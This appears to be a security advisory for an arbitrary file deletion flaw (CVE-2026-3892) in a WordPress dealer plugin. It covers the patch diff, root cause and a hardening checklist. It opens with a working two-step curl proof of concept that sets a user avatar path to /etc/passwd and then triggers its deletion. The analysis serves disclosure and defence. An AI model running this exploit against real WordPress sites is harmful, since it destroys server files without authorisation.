The Exploit
Any authenticated WordPress user, including a subscriber, can delete arbitrary files on the server by sending the following HTTP request. The attacker sets the stm_user_avatar_path POST parameter to a path outside the uploads directory, then triggers deletion by visiting the become-dealer page.
#!/bin/bash
WORDPRESS_URL="http://target-wordpress.com"
COOKIE="wordpress_logged_in_<hash>=<value>"
## Step 1: Store a malicious path as the user avatar path
curl -s -X POST "$WORDPRESS_URL/wp-admin/admin-ajax.php" \
-b "$COOKIE" \
-d "action=stm_save_user_data" \
-d "stm_user_avatar_path=/etc/passwd" \
-d "stm_user_avatar=update" \
-d "user_id=1"
## Step 2: Visit the become-dealer page to trigger delete
curl -s -b "$COOKIE" "$WORDPRESS_URL/become-dealer/"
When the avatar path is set to /etc/passwd, the server attempts to delete that file during the become-dealer profile update process. The attacker observes a 200 OK response and, if the web server user has write permission on the target file, the targeted file is removed from the filesystem.
What the Patch Did
Before (includes/user-extra.php, lines 398-430):
if ( isset( $_POST['stm_user_avatar_path'] ) ) {
update_user_meta( $user_id, 'stm_user_avatar_path', sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) ) );
}
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
update_user_meta( $user_id, 'stm_dealer_logo_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) ) );
}
if ( isset( $_POST['stm_dealer_image_path'] ) ) {
update_user_meta( $user_id, 'stm_dealer_image_path', sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) ) );
}
After (includes/user-extra.php):
if ( isset( $_POST['stm_user_avatar_path'] ) ) {
$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_user_avatar_path'] ) );
if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
update_user_meta( $user_id, 'stm_user_avatar_path', $raw_path );
}
}
if ( isset( $_POST['stm_dealer_logo_path'] ) ) {
$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_logo_path'] ) );
if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
update_user_meta( $user_id, 'stm_dealer_logo_path', $raw_path );
}
}
if ( isset( $_POST['stm_dealer_image_path'] ) ) {
$raw_path = sanitize_text_field( wp_unslash( $_POST['stm_dealer_image_path'] ) );
if ( apply_filters( 'stm_mvl_is_path_within_uploads', false, $raw_path ) ) {
update_user_meta( $user_id, 'stm_dealer_image_path', $raw_path );
}
}
The patch adds a realpath()-based path confinement filter via the stm_mvl_is_path_within_uploads function. The filter resolves both the uploads directory and the user-supplied path to their canonical real filesystem paths, then checks that the user path begins with the uploads directory path. This prevents directory traversal outside wp-content/uploads/.
Root Cause
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'). The vulnerability chain: an attacker submits a POST request to admin-ajax.php with action stm_save_user_data and a POST parameter stm_user_avatar_path (or stm_dealer_logo_path or stm_dealer_image_path) set to an arbitrary path like /etc/passwd. The plugin stores this value verbatim in user meta using update_user_meta(). Later, when the user visits the become-dealer template (templates/user/private/become-dealer.php), the code calls unlink( $user_old_avatar ) using the stored path value without any validation that the path resides within the allowed uploads directory. The sanitize_text_field() call only strips tags and trims whitespace but does not prevent paths like /etc/passwd or ../../wp-config.php. The trust boundary is crossed twice: once when accepting the path from user input, and again when using the stored value in a filesystem operation.
Why It Works
The single load-bearing line is if ( empty( $users_db ) && apply_filters( 'stm_mvl_is_path_within_uploads', false, $user_old_avatar ) ) in become-dealer.php. Remove the call to apply_filters and the bug remains exploitable regardless of the validation added in user-extra.php. The engineer added validation at both the storage layer (user-extra.php) and the deletion layer (become-dealer.php) because the stored path could have been set by a previous version of the plugin or through direct database manipulation. The apply_filters call provides a safety net: even if a malicious path reaches the unlink() call, the filter function stm_mvl_is_path_within_uploads() resolves both paths with realpath() and performs a prefix check, preventing traversal outside the uploads directory. The other validation points in user-extra.php serve as defense-in-depth to prevent storage of invalid paths in the first place.
Hardening Checklist
- Use
realpath()to canonicalize both the allowed base directory and user-supplied path before performing a prefix match, as demonstrated in the patch'sstm_mvl_is_path_within_uploads()function. - Before calling
unlink(), always validate that the resolved path starts with the allowed upload directory usingstrpos()withDIRECTORY_SEPARATORappended. - Never rely solely on input sanitization functions like
sanitize_text_field()for file path validation — these remove HTML but do not prevent directory traversal. - Store file paths relative to a known base directory (e.g., store only the filename or subdirectory) and reconstruct the absolute path at the point of use.
- Add a capability check (e.g.,
current_user_can('upload_files')) to the AJAX handler that processes path updates, even for subscriber-level actions.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-3892